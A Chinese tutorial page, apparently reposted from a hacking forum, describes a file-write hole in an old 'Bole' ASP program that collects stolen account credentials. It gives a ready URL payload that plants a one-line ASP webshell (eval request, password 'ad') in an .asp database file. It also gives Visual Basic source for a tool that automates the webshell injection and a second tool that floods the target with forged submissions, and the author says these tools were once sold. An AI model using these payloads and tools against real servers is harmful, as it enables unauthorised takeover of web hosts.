伯乐asp收信程序漏洞及利用程序利用代码_漏洞研究教程-查字典教程网
伯乐asp收信程序漏洞及利用程序利用代码
伯乐asp收信程序漏洞及利用程序利用代码
发布时间:2016-12-26 来源:查字典编辑
摘要:http://forum.eviloctal.com/thread-32151-1-1.html之后又有会员PM我..加上事过已久..也不是...

http://forum.eviloctal.com/thread-32151-1-1.html

之后又有会员PM我..加上事过已久..也不是什么保密的东西了..网上也许到处都是了..就考虑把东西发出来..算是个学习吧..

伯乐的收信程序(针对以前的老版本.后来修补了这个漏洞)

主数据库名第一次使用设置时是随机产生的..但因为他是通用收信程序..可以截获密保..

mibao.asp文件对提交的参数没有任何过滤

复制代码 代码如下:

ifaction="put"then

sql="select*frommibaowhereu='"&request("u")&"'"

setrs=Server.CreateObject("ADODB.RecordSet")

rs.opensql,conn,1,3

ifrs.eofthen

rs.addnew

rs("u")=request("u")

rs("pos")=request("pos")

rs("p")="等待破解"

rs.update

rs.close

response.write"addok"

else

sql="updatemibaosetpos='"&request("pos")&"'"&"whereu='"&request("u")&"'"

conn.execute(sql)

response.write"updateok"

endif

endif

第一行代码处

ConnStr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath("mibaoaa.asp")提交的数据插进了mibaoaa.asp

asp后缀的数据库文件..未做防下载处理..提交一句话木马..很容易得到webshell

假设箱子地址是

http://127.0.0.1/

就访问

http://127.0.0.1/mibao.asp?action=put&u=3&pos=3<%25evalrequest(%22%61%64%22)%25>&mb=3&p=3

返回"addok"就说明插马成功

接着

http://127.0.0.1/mibaoaa.asp访问小马..

密码是ad.上传大马拿到webshell

根据此漏洞我用VB写了一个简单的利用程序..

程序VB源码

复制代码 代码如下:

PrivateSubCommand1_Click()

Inet1.OpenURL(Text1.Text+"/mibao.asp?action=put&u=3&pos=3<%25evalrequest(%22%61%64%22)%25>&mb=3&p=3")'用inet连接网页

aa=InStr(Inet1.GetHeader,"404")'判断页头是否包含字符“404”,返回0则不包含,否则返回其位置

Ifaa<>0Then'页头中包含404

MsgBox"木马插入失败!",48,"失败!"'则说明该网页不存在

Else'如果页头中不包含“404”

MsgBox"木马插入成功!",64,"恭喜!"'说明网页存在

Command2.Enabled=True

EndIf

EndSub

PrivateSubCommand2_Click()

IfText2.Text=Text1.Text+"/mibaoaa.asp"Then

MsgBox"已经存在!请不要重复此操作!",16,"error!"

Else

Text2.Text=Text1.Text+"/mibaoaa.asp"

MsgBox"请使用一句话木马客户段连接!密码ad!",64,"成功!"

Text2.Visible=True

EndIf

EndSub

PrivateSubCommand3_Click()

End

EndSub

程序和动画演示我也一并打包上传了..教程因为是去年做的了..里面一些信息请各位兄弟看后不要再去尝试了..

教程里所写的联系QQ也不要再去加了..那时候因为混口饭吃..卖了几个程序..

现在全部都公开了..BOLE.RAR(2.5MB)

另外看到贴中有人提到刷信问题..lin.asp也是没怎么过滤的..可以外部提交数据

VB刷信代码

复制代码 代码如下:

PrivateSubCommand1_Click()

Inet1.OpenURL(Text1.Text+"/lin.asp?a="+Text2.Text+"&s="+Text3.Text+"&u="+Text4.Text+"&p="+Text5.Text+"&r="+Text7.Text+"&l="+Text8.Text+"&m="+Text9.Text+"&pin="+Text6.Text)'用inet连接网页

aa=InStr(Inet1.GetHeader,"404")'判断页头是否包含字符“404”,返回0则不包含,否则返回其位置

Ifaa<>0Then'页头中包含404

MsgBox"刷信失败!默认收信页面可能被改名!",48,"失败!"'则说明该网页不存在

Else'如果页头中不包含“404”

MsgBox"刷信成功!请登陆后台查看!",64,"恭喜!"'说明网页存在

EndIf

EndSub

PrivateSubCommand2_Click()

End

EndSub

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新漏洞研究学习
    热门漏洞研究学习
    实用技巧子分类